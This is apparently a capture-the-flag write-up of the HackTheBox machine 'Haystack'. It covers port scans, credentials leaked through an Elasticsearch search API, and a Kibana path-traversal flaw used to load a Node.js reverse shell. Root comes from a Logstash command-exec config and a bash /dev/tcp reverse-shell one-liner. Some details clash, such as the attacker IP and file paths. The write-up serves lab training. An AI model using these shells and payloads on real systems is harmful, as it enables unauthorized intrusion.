Haystack
#Linux #API #PortForwarding
Haystack is an easy-rated Linux machine from HackTheBox created by JoyDragon. In the current post, my IP is 10.10.14.16, and the target’s IP is 10.10.10.115
Recon
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.115 -oN Ports
Completed SYN Stealth Scan at 10:42, 26.55s elapsed (65535 total ports)
Nmap scan report for 10.10.10.115
Host is up, received echo-reply ttl 62 (0.17s latency).
Scanned at 2023-07-20 10:42:14 -04 for 27s
Not shown: 65532 filtered ports
Reason: 65501 no-responses and 31 host-prohibiteds
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
80/tcp open http syn-ack ttl 62
9200/tcp open wap-wsp syn-ack ttl 62
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds
Raw packets sent: 131053 (5.766MB) | Rcvd: 35 (2.392KB)
nmap -sCV -p22,80,9200 10.10.10.115 -oN Target
Nmap scan report for 10.10.10.115
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.83 seconds
So! We have two ports open with http, and after searching about "OpenSSH 7.4 (protocol 2.0) launchpad", we are against a Ubuntu Sid (98), and there is an exploit CVE 2016-10009, but this is not important here.
$ whatweb http://10.10.10.115
http://10.10.10.115 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.12.2],
IP[10.10.10.115], nginx[1.12.2]
$ whatweb http://10.10.10.115:9200
http://10.10.10.115:9200 [200 OK] Country[RESERVED][ZZ], ElasticSearch[6.4.2],
HTTPServer[nginx/1.12.2], IP[10.10.10.115], nginx[1.12.2]
From whatweb output there is nothing relevant, let's explore the website.
Just a photo of a needle, maybe the file has something, keep that in mind.
It's an API, search about "elasticsearch" or any key word will help while fuzzing.

wfuzz -c -t 20 --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.115/FUZZ
Nothing!!
Exploitation
After searching about "elasticsearch API 6.4.2", instantly appears an "exploit"
$ searchsploit elasticsearch
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
ElasticSearch - Remote Code Execution | linux/remote/36337.py
ElasticSearch - Remote Code Execution | multiple/webapps/33370.html
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit) | java/remote/36415.rb
ElasticSearch 1.6.0 - Arbitrary File Download | linux/webapps/38383.py
ElasticSearch 7.13.3 - Memory disclosure | multiple/webapps/50149.py
ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal | php/webapps/37054.py
ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit) | java/remote/33588.rb
Elasticsearch ECE 7.13.3 - Anonymous Database Dump | multiple/webapps/50152.py
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
$ searchsploit -p 36337
Exploit: ElasticSearch - Remote Code Execution
URL: https://www.exploit-db.com/exploits/36337
Path: /usr/share/exploitdb/exploits/linux/remote/36337.py
Codes: CVE-2015-1427, OSVDB-118239
Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied EDB-ID #36337's path to the clipboard
$ mv /usr/share/exploitdb/exploits/linux/remote/36337.py exploit.py
$ python2 exploit.py 10.10.10.115
$ whoami
ERROR!!
Ok, the exploit is not working, but by analyzing the python exploit, we got the following result:
curl http://10.10.10.115:9200/_search | jq
{
"took": 5,
"timed_out": false,
"_shards": {
"total": 11,
"successful": 11,
<...>
Nothing relevant yet

curl http://10.10.10.115:9200/_search?pretty | jq -c '.hits.hits[]'
From the previous command, there is a lot of useless information, and the script is using ?pretty
for _search?, maybe there are alternatives.
There is something like "Size" to increase the... well... size of the output.
curl http://10.10.10.115:9200/_search?size=10000 | jq -c '.hits.hits[]'
DANGER! The previous commands return a lot of information... in spanish... maybe I should try to use grep with the word "clave" (Password)
curl http://10.10.10.115:9200/_search?size=10000 | jq -c '.hits.hits[]' | grep 'clave'
{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}
{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}
Reverse Shell [Security]
My goodness, there are two hashes in clearly base64, the command used to decrypt is
echo <HASH> | base64 -d
This password cannot be missed, I save it here: cGFzczogc3BhbmlzaC5pcy5rZXk
[ pass: spanish.is.key ]
I must save the machine's password: dXNlcjogc2VjdXJpdHkg
[ user: security ]
ssh security@10.10.10.115 # spanish.is.key
@haystack ~]$ cat user.txt
e89513c009011c503...
Privileges Escalation [Security > Kibana]
Perfect, we have the first flag, now let's explore the whole machine.
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[security@haystack ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for security:
Sorry, user security may not run sudo on haystack.
[security@haystack ~]$ uname -a
Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[security@haystack ~]$ lsb_release -a
-bash: lsb_release: command not found
[security@haystack ~]$ cd /
[security@haystack /]$ find \-perm -4000 2>/dev/null
./usr/bin/chage
./usr/bin/gpasswd
./usr/bin/newgrp
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/fusermount
./usr/bin/crontab
./usr/bin/mount
<...>
At first glance, there is nothing suspicious
[security@haystack var]$ cd /var/www/html
[security@haystack html]$ ls -la
total 184
drwxr-xr-x. 2 nginx nginx 42 Jan 25 2019 .
drwxr-xr-x. 3 nginx nginx 18 Nov 30 2018 ..
-rw-r--r--. 1 nginx nginx 55 Jan 25 2019 index.html
-rwxr--r--. 1 root root 182982 Jan 25 2019 needle.jpg
# Nothing...
[security@haystack /]$ netstat -punta | grep LISTEN # Or "ss -4 -l -n"
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9200 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5601 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:9000 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 127.0.0.1:9300 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:9600 :::* LISTEN -
There is something at the port :5601...
[security@haystack /]$ lsof -i tcp:5601
-bash: lsof: command not found # Try Port Forwarding...
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N

Got it! It's a Kibana... and at Management you can obtain the specific version
If you search for "kibana 6.5.4 exploit" you will find the following:
It says that at /api/console/api_server endpoint there is an LFI, we can create a file to execute another reverse shell, this machine is not using PHP so I had to find a way to make a reverse shell with JS.
vi /dev/shm/0xdf.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
nc -nlvp 443
curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/shell.js'
And done, we are in a Kibana
Kibana > Root
bash-4.2$ ps awuxx | grep logstash
root 6283 11.3 12.8 2719944 494640 ?
Logstash running as root, let's explore the config file.
bash-4.2$ /etc/logstash/conf.d
bash-4.2$ cat input.conf
--------------------------
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
--------------------------
bash-4.2$ cat filter.conf
--------------------------
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
--------------------------
bash-4.2$ cat output.conf
--------------------------
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
--------------------------
So, long story short, those files read a file, /opt/kibana/logstash_*, and if the content of the file follow the structure “Ejecutar\scomando\s:\s+%{GREEDYDATA:comando}", it will execute the command.
nc -nlvp 443
bash-4.2$ echo "Ejecutar comando: bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'" > /opt/kibana/logstash_0xdf
After a few seconds, your Local Terminal will be "Target Terminal [Root]
[root@haystack ~]# cat root.txt
Last updated